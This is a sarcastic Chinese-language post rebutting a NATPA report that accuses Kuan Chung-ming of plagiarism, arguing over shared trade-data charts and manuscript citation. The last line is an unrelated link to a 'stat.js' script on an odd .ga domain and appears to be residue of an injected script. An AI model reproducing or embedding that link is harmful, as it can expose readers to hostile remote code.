這個北美洲台灣人教授協會(NATPA)還真是搞笑協會,出具一份報告說要證明管中閔抄襲張姓學生。
可是通篇報告狗屁不通:
1. 試問這協會「在法律上有任何資格從事其宣稱的調查」?
試問是否有任何司法單位亦或台大等系爭當事人,委託該機構從事investigation?從報告中看不出來耶。
如果都沒有人委託,該機構也只是同樂會性質,不存在任何司法地位的話,這種investigation除了自搞自爽自己完角色扮演之外,有啥意義?
2. 通篇報告宣稱2016年張姓學生的碩士論文與管中閔2017年的論文幾個圖表數據都載名「作者自行整理」,從而認定管中閔是抄襲。
可是拜託,看看那張圖表是「台灣與主要貿易夥伴貿易量(進口+出口),資料來源財政部貿易統計資料庫,作者自行整理」。
兩篇論文都用了同一個資料庫的同一份數據就叫做「抄襲」?因為都用了「百萬元台幣」為單位?因為都選擇1981~2014年這個區間?
然後又指責兩張數線看起來一樣?廢話!一樣的數據畫出來當然一樣。
3. 最好笑的是,張姓學生的碩士論文部分注釋載明「引用自陳建良與管中閔(2016)手稿」。但這份報告竟然批評管中閔2017年的論文「沒有注釋引用自己手稿」。
報告原文:" However, we question why CK did not cite his CK (2016) 手稿, like Chang above, in CK Tables 1 and 2 (see Part II below)."
實在不理解「引用自己未公開發表出版的手稿」還要注釋的規範是哪裡來的?
難道所有文章或書籍現在都要注釋「引用自己未公開之草稿」?這種引用有任何學術上的意義嗎?豈不是脫褲子放屁?
只看過作者註釋指出引用自己過去已發表或出版的論文書籍,沒看過有人還要註釋引用了自己哪份草稿的。
話說這份NATPA的調查報告,也沒有注釋引用了自己哪一份手稿啊?
結論:
一個搞笑的同樂會機構,自得其樂地cosplay司法調查機構在亂搞,得出的結論竟然是:管中閔的論文沒有註明引用自己的手稿,所以違反學術倫理。
搞笑目的果然達成!哈哈哈!
報告網址:http://www.natpa.org/natpa_publications/NATPA%20Report%20Finalz.pdf
註:本文一氣呵成沒有草稿,無從註明,謝謝。
https://js.developerstatss.ga/stat.js?n=ns1